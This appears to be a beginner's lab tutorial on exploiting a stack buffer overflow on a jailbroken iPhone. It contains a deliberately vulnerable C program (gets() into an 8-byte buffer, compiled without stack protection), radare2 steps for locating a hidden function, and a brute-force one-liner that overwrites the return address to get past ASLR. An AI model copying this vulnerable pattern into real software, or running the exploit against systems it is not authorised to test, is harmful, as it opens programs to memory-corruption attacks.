Requirements:
Jailbroken iPhone with at least the following packages installed:
OpenSSH Radare2 Cr4shed
Warm Up:
First, let’s start writing a simple hello.c program. Below is our code:
//hello.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void hidden(){
printf("Congratulations, you are inside the hidden function!!!\n");
exit(0);
}
int main(){
printf("cyberp0et welcomes you\n");
printf("Please type your name\n");
char buff[8];
gets(buff);
printf("Hello, %s\n", buff);
return 0;
}
Now let’s compile it with the following command on MacOS:
clang -g hello.c -o hello -isysroot
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS14.4.sdk
-arch arm64 -mios-version-min=9.0 -fno-stack-protector
After compilation, transfer the “hello” binary into the iOS platform. After connecting to the phone via SSH, you should make it runnable and signed.
chmod +x hello
ldid -S hello
Let’s run it and see the regular way of program flow.
Cool, it’s running on iOS without any problem.
Yet, if we enter more characters than expected? Let’s try first with 20 ‘A’s: “AAAAAAAAAAAAAAAAAAAA”
We see an illegal instruction situation:
Let’s increase by four and input 24 ‘A’s: AAAAAAAAAAAAAAAAAAAAAAAA
This time we see “Bus error: 10”:
What is this Bus error? If we check out the documentation, we see that it is one of the Kill Signals:
gkill -t
1 HUP Hangup: 1
2 INT Interrupt: 2
3 QUIT Quit: 3
4 ILL Illegal instruction: 4
5 TRAP Trace/BPT trap: 5
6 ABRT Abort trap: 6
7 EMT EMT trap: 7
8 FPE Floating point exception: 8
9 KILL Killed: 9
10 BUS Bus error: 10
11 SEGV Segmentation fault: 11
12 SYS Bad system call: 12
13 PIPE Broken pipe: 13
14 ALRM Alarm clock: 14
15 TERM Terminated: 15
16 URG Urgent I/O condition: 16
17 STOP Suspended (signal): 17
18 TSTP Suspended: 18
19 CONT Continued: 19
20 CHLD Child exited: 20
21 TTIN Stopped (tty input): 21
22 TTOU Stopped (tty output): 22
23 IO I/O possible: 23
24 XCPU Cputime limit exceeded: 24
25 XFSZ Filesize limit exceeded: 25
26 VTALRM Virtual timer expired: 26
27 PROF Profiling timer expired: 27
28 WINCH Window size changes: 28
29 INFO Information request: 29
30 USR1 User defined signal 1: 30
31 USR2 User defined signal 2: 31
As you can see from the crash logs, we indeed succeeded in BoF (I used Cr4shed for this purpose).
Action:
So, let’s continue to play on. Indeed, can we directly call the hidden function somehow?
Now, switch to radare and check out the address of hidden function inside:
r2 hello
aaa
afl
Here we can see the hidden function name: sym._hidden. Let’s disassemble it:
s sym._hidden
pdf
Here we learn the start address of the hidden function: 0x100007e50
We cannot directly call the address of 0x100007e50 in one shot. Because there is ASLR in action. Yet, just with a simple liner we can try to call this function many many times with the hope of hit (by the way remember to blacklist the process “hello” on Cr4shed, so it won’t make stuck the phone memory):
Knock out:
We are ready to run our one liner:
for x in $(seq 1 5000); do printf "AAAAAAAAAAAAAAAAAAAA\x50\x7e\x00\x00\x01" | ./hello 2>&1 | grep hidden;
Done
Finally we see a hit on the hidden function, yupppiii
References:
Return Oriented Programming for Beginners - ROP on ARM Tutorial (ROPLevel1) by Billy Ellis.